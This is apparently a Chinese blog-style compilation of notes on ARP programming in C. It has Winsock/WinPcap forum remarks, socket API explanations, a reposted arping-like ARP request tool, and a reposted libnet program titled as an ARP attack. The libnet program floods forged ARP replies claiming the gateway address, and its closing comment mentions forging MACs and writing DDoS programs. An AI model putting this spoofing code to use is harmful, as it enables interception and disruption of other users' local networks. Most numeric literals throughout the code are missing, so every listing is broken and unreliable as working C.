c语言ARP应用

对于windows环境，winsock不能用来发ARP请求：

发表于： 2002-04-23 11:45:12
arp是请求硬件地址的。winsock层次太高啦。。。
用winsock中的sendto函数，将其中的buf填入arp请求的分组格式，为什么不行呢？
用WinSock是不能发ARP包的，WinSock只能发IP包，
要发ARP包必须要用链路层的接口，因为必须告诉链路层的接口你的帧类型为ARP而不是IP

winpcap

winpcap(windows packet capture)是windows平台下一个免费，公共的网络访问系统。
开发winpcap这个项目的目的在于为win32应用程序提供访问网络底层的能力。
WinPcap是用于网络封包抓取的一套工具，可适用于32/64位的操作平台上解析网络封包，
包含了核心的封包过滤，一个底层动态链接库，和一个高层系统函数库，及可用来直接存取封包的应用程序界面。
Winpcap是一个免费公开的软件系统。它用于windows系统下的直接的网络编程

Linux提供最常用的网络通信应用程序开发接口--Berkerley套接字(Socket)．

Linux系统提供的基于数据链路层开发应用程序的接口集成在套接字中，
它是通过创建packet类型的套接宇．使应用程序可直接在数据链路层接
收或发送 未被系统处理的原始的数据报文(如ARP报文)，用户也可以使
用packet类型的套接宇在物理层上定义自己特殊的网络协议。只有注册
号为0的用户(超级 用户)进程才能建立或打开用于访问网络低层的套接字．

设置网卡为混杂模式，地址结果相关分析：http://blog.csdn.net/cyx1743/article/details/6687771

相关数据结构、函数：

uid_t getuid(void);

它通常是一个小整形。函数返回一个调用程序的真实用户ID，一般来说，这个函数都是会调用成功的。

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <pwd.h>
#include <stdio.h>
#include <unistd.h>
int main()
{
    uid_t uid;
    uid = getuid();
    printf("User IDs: uid=%d\n", uid);
    exit();
}

int setuid(uid_t uid);

设置实际用户id和有效用户id

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
int main()
{
    if(!setuid()){
    printf("setuid successfully!\n");
    }else{
    printf("setuid error!");
    perror("setuid");
    }
return ;
}

int inet_aton(const char *string, struct in_addr*addr);

参数描述：

1 输入参数string包含ASCII表示的IP地址。

2 输出参数addr是将要用新的IP地址更新的结构。

 

hostent

hostent是host entry的缩写，该结构记录主机的信息，包括主机名、别名、地址类型、地址长度和地址列表。之所以主机的地址是一个列表的形式，原因是当一个主机有多个网络接口时，自然有多个地址。

struct hostent{

h_name – 地址的正式名称。

h_aliases – 空字节-地址的预备名称的指针。

h_addrtype –地址类型; 通常是AF_INET。

h_length – 地址的比特长度。

h_addr_list – 零字节-主机网络地址指针。网络字节顺序。

h_addr - h_addr_list中的第一地址。}；

 

设置套接口的选项。

#include <sys/types.h>

#include <sys/socket.h>

int setsockopt(int sockfd, int level, int optname,const void *optval, socklen_t optlen);

sockfd：标识一个套接口的描述字。

level：选项定义的层次；支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。

optname：需设置的选项。

optval：指针，指向存放选项待设置的新值的缓冲区。

optlen：optval缓冲区长度。

 

 

getsockname()

getsockname()函数用于获取一个套接字的名字。

它用于一个已捆绑或已连接套接字s，本地地址将被返回。

本调用特别适用于如下情况：未调用bind()就调用了connect()，这时唯有getsockname()调用可以获知系统内定的本地地址。

在返回时，namelen参数包含了名字的实际字节数。

 //ARP协议的C语言实现源代码【转载】 收藏
 //什么是ARP协议
 //英文原义：ADDRESS RESOLUTION PROTOCOL
 //中文释义：（RFC - 826）地址解析协议

 #include <netdb.h>
 #include <unistd.h>
 #include <ctype.h>
 #include <errno.h>
 #include <signal.h>
 #include <string.h>
 #include <stdio.h>
 #include <stdlib.h>
 #include <getopt.h>
 #include <sys/uio.h>
 #include <sys/file.h>
 #include <sys/time.h>
 #include <sys/signal.h>
 #include <sys/ioctl.h>
 #include <sys/param.h>
 #include <sys/socket.h>
 #include <linux/sockios.h>
 #include <linux/if.h>
 #include <linux/if_arp.h>
 #include <linux/if_packet.h>
 #include <linux/types.h>
 #include <netinet/in.h>
 #include <arpa/inet.h>
 #define src_addr "192.168.0.239"   //需要进行arp解析的ip
 #define device  "eth0"                //本机的哪块网卡
 #define fill_buf "aaaaaaaaaaaa"
 int socket_id;
 char *target = src_addr;
 int send_count = ;
 int recv_count = ;
 struct in_addr  src, dst;
 struct sockaddr_ll   me, he;
 struct timeval   send_time, recv_time;
 struct in_addr get_src_ip(char * devices)//获得本机相应网卡的ip
 {
     struct sockaddr_in saddr;
     int sock_id = socket(AF_INET, SOCK_DGRAM, );//设置数据报socket
     if (sock_id < ) {
         perror("socket");
         exit();
     }
     if (devices) {
         if (setsockopt(sock_id, SOL_SOCKET, SO_BINDTODEVICE, device, strlen(device) + ) == -)//将socketbind到网卡上
             perror("WARNING: interface is ignored");
     }
     int alen = sizeof(saddr);
     memset(&saddr, , sizeof(saddr));
     saddr.sin_port = htons(0x1000);//设置端口
     saddr.sin_family = AF_INET;
     if (connect(sock_id, (struct sockaddr*)&saddr, sizeof(saddr)) == -) {//将socket连接到相应的inet地址上
         perror("connect");
         exit();
     }
     if (getsockname(sock_id, (struct sockaddr*)&saddr, &alen) == -) {//通过socket获得绑定的ip地址
         perror("getsockname");
         exit();
     }
     close(sock_id);
     return saddr.sin_addr;
 }
 int check_device(char* if_dev, int ss)//网卡和socket    将网卡设置为混杂模式？
 {
     int ifindex;
     struct ifreq ifr;
     memset(&ifr, , sizeof(ifr));
     strncpy(ifr.ifr_name, if_dev, IFNAMSIZ - );//网卡设备名
     if (ioctl(ss, SIOCGIFINDEX, &ifr) < ) {
         fprintf(stderr, "arping: unknown iface %s\n", if_dev);
         exit();
     }
     ifindex = ifr.ifr_ifindex;
     if (ioctl(ss, SIOCGIFFLAGS, (char*)&ifr)) {
         perror("ioctl(SIOCGIFFLAGS)");
         exit();
     }
     if (!(ifr.ifr_flags&IFF_UP)) {
         printf("Interface \"%s\" is down\n", if_dev);
         exit();
     }
     if (ifr.ifr_flags&(IFF_NOARP | IFF_LOOPBACK)) {
         printf("Interface \"%s\" is not ARPable\n", if_dev);
         exit();
     }
     return ifindex;
 } // check_device()

 int socket_init()
 {
     int s, s_errno;
     s = socket(PF_PACKET, SOCK_DGRAM, );//数据包
     s_errno = errno;
     me.sll_family = AF_PACKET;
     me.sll_ifindex = check_device(device, s);
     me.sll_protocol = htons(ETH_P_ARP);
     if (bind(s, (struct sockaddr*)&me, sizeof(me)) == -) {
         perror("bind");
         exit();
     }
     int alen = sizeof(me);
     if (getsockname(s, (struct sockaddr*)&me, &alen) == -) {
         perror("getsockname");
         exit();
     }
     if (me.sll_halen == ) {
         printf("Interface \"%s\" is not ARPable (no ll address)\n", device);
         exit();
     }
     he = me;
     memset(he.sll_addr, -, he.sll_halen);  // set dmac addr FF:FF:FF:FF:FF:FF
     return s;
 }
 int
 create_pkt(unsigned char * buf, struct in_addr src, struct in_addr dst, struct sockaddr_ll * FROM, struct sockaddr_ll * TO)
 {
     struct arphdr *ah = (struct arphdr*) buf;
     unsigned char *p = (unsigned char *)(ah + );
     ah->ar_hrd = htons(FROM->sll_hatype);
     if (ah->ar_hrd == htons(ARPHRD_FDDI))
         ah->ar_hrd = htons(ARPHRD_ETHER);
     ah->ar_pro = htons(ETH_P_IP);
     ah->ar_hln = FROM->sll_halen;
     ah->ar_pln = ;
     ah->ar_op = htons(ARPOP_REQUEST);
     memcpy(p, &FROM->sll_addr, ah->ar_hln);
     p += FROM->sll_halen;
     memcpy(p, &src, );
     p += ;
     memcpy(p, &TO->sll_addr, ah->ar_hln);
     p += ah->ar_hln;
     memcpy(p, &dst, );
     p += ;
     memcpy(p, fill_buf, strlen(fill_buf));
     p += ;
     return  (p - buf);
 }
 void send_pkt()
 {
     unsigned char send_buf[];
     int pkt_size = create_pkt(send_buf, src, dst, &me, &he);
     gettimeofday(&send_time, NULL);
     int cc = sendto(socket_id, send_buf, pkt_size, , (struct sockaddr*)&he, sizeof(he));
     if (cc == pkt_size)
         send_count++;
     alarm();
 }
 int chk_recv_pkt(unsigned char * buf, struct sockaddr_ll * FROM)//解析arp数据
 {
     struct arphdr *ah = (struct arphdr*)buf;
     unsigned char *p = (unsigned char *)(ah + );
     struct in_addr src_ip, dst_ip;
     if (ah->ar_op != htons(ARPOP_REQUEST) && ah->ar_op != htons(ARPOP_REPLY))
         return ;
     if (ah->ar_pro != htons(ETH_P_IP) || ah->ar_pln !=  || ah->ar_hln != me.sll_halen)
         return ;
     memcpy(&src_ip, p + ah->ar_hln, );
     memcpy(&dst_ip, p + ah->ar_hln +  + ah->ar_hln, );
     if (src_ip.s_addr != dst.s_addr || src.s_addr != dst_ip.s_addr)
         return ;
     return (p - buf);
 }
 void disp_info(int received, struct in_addr dst, int msecs, int usecs, struct sockaddr_ll from)
 {
     printf("%03d ", received);
     printf("%s ", from.sll_pkttype == PACKET_HOST ? "Unicast" : "Broadcast");
     printf("%s from %s", "reply", inet_ntoa(dst));
     printf(" [%02X:%02X:%02X:%02X:%02X:%02X] ", from.sll_addr[], from.sll_addr[], \
         from.sll_addr[], from.sll_addr[], from.sll_addr[], from.sll_addr[]);
     printf(" %ld.%ld ms\n", (long int)msecs, (long int)usecs);
     fflush(stdout);
 }
 void finish()
 {
     printf("\nSent %d ARP probe packet(s) \n", send_count);
     printf("Received %d response(s)", recv_count);
     printf("\n\n");
     fflush(stdout);
     exit(!recv_count);
 }
 ////////////////////////////////////////////////////////////////
 int
 main(int argc, char **argv)
 {
     uid_t uid = getuid();
     setuid(uid);
     if (*(argv + ) != NULL)
         target = *(argv + );//传入的第一个参数，待解析的ip地址
     if (inet_aton(target, &dst) != ) {//使用字符串ip更新dst地址结构中的网络字节序ip
         struct hostent *hp;
         hp = gethostbyname2(target, AF_INET);
         printf("\ntarget = %s \n", target);
         if (!hp) {
             fprintf(stderr, "arping: unknown host %s\n", target);
             exit();
         }
         memcpy(&dst, hp->h_addr, );
     }
     src = get_src_ip(device);//获得本机device网卡的ip
     if (!src.s_addr) {
         fprintf(stderr, "arping: no source address in not-DAD mode\n");
         exit();
     }
     socket_id = socket_init();
     printf("\nARPING %s ", inet_ntoa(dst));
     printf("from %s %s\n\n", inet_ntoa(src), device ? : "");
     signal(SIGINT, finish);
     signal(SIGALRM, send_pkt);
     send_pkt();
     while ()
     {
         struct sockaddr_ll from;
         int alen = sizeof(from);
         char recv_buf[0x1000];

         int recv_size = recvfrom(socket_id, recv_buf, sizeof(recv_buf), , (struct sockaddr *)&from, &alen);

         gettimeofday(&recv_time, NULL);
         if (recv_size < ) {
             perror("arping: recvfrom");
             continue;
         }
         if (chk_recv_pkt(recv_buf, &from) > ) {
             memcpy(he.sll_addr, from.sll_addr, he.sll_halen);
             long usecs, msecs;
             if (recv_time.tv_sec) {
                 usecs = (recv_time.tv_sec - send_time.tv_sec) *  + recv_time.tv_usec - send_time.tv_usec;
                 msecs = (usecs + ) / ;
                 usecs -= msecs *  - ;
             }
             recv_count++;
             disp_info(recv_count, dst, msecs, usecs, from);
         } // if (chk...)    

     }
     return ;
 }

linux下使用libnet实现ARP攻击（转）

http://my.oschina.net/jiyufei/blog/179494

 #include "arp.h"

 int main(int argc,char **argv){
     libnet_t *l;
     int i,packet_size;      //发送的数据包的长度
     libnet_ptag_t arp_tag,ether_tag;
     char *device="eth0";
     char err_buf[LIBNET_ERRBUF_SIZE];
     char *destion_ip_str = "255.255.255.255";
     char *source_ip_str = "192.168.1.1";
     u_char source_hardware[]={0x00,0x0c,0x29,0x68,0x95,0x84};
     u_char destion_hardware[]={0xff,0xff,0xff,0xff,0xff,0xff};
     u_int32_t source_ip,destion_ip;
     //将字符形式ip转换为网络字节序
     source_ip = libnet_name2addr4(l,source_ip_str,LIBNET_RESOLVE);
     destion_ip = libnet_name2addr4(l,destion_ip_str,LIBNET_RESOLVE);
     //初始化libnet句柄
     l = libnet_init(LIBNET_LINK,device,err_buf);
     if(l == NULL){
         printf("初始化libnet句柄失败:%s\n",err_buf);
         exit(-);
     }
     arp_tag = libnet_build_arp(
         ARPHRD_ETHER,       //硬件地址类型，此处为以太网类型
         ETHERTYPE_IP,       //协议地址类型
         ,
         ,
         ARPOP_REPLY,        //ARP应答
         source_hardware,
         (u_int8_t *)&source_ip,
         destion_hardware,
         (u_int8_t *)&destion_ip,
         NULL,       //无负载
         ,          //负载长度为0
         l,
                //协议块标记，为0，表示新建协议块
         );
     ether_tag = libnet_build_ethernet(
         (u_int8_t *)&destion_hardware,
         (u_int8_t *)&source_hardware,
         ETHERTYPE_ARP,
         NULL,
         ,
         l,

         );
     i = ;
     while(){
         packet_size = libnet_write(l);      //发送构造的ARP数据包
         usleep();
         i++;
     }
     printf("数据包长度为：%d\n",packet_size);
     libnet_destroy(l);
     return ;
 }

/*目标MAC为广播地址，全0xff就行，源MAC地址可以为本机MAC或者随便伪造的MAC
（在程序中获取本机MAC可用ioctl函数，最近在写DDOS攻击程序就是用ioctl获取本机MAC和IP的），注意ARP包类型为ARPOP_REPLY(应答包)。*/

也是libnet的arp，结合了校园网：http://bbs.csdn.net/topics/360266138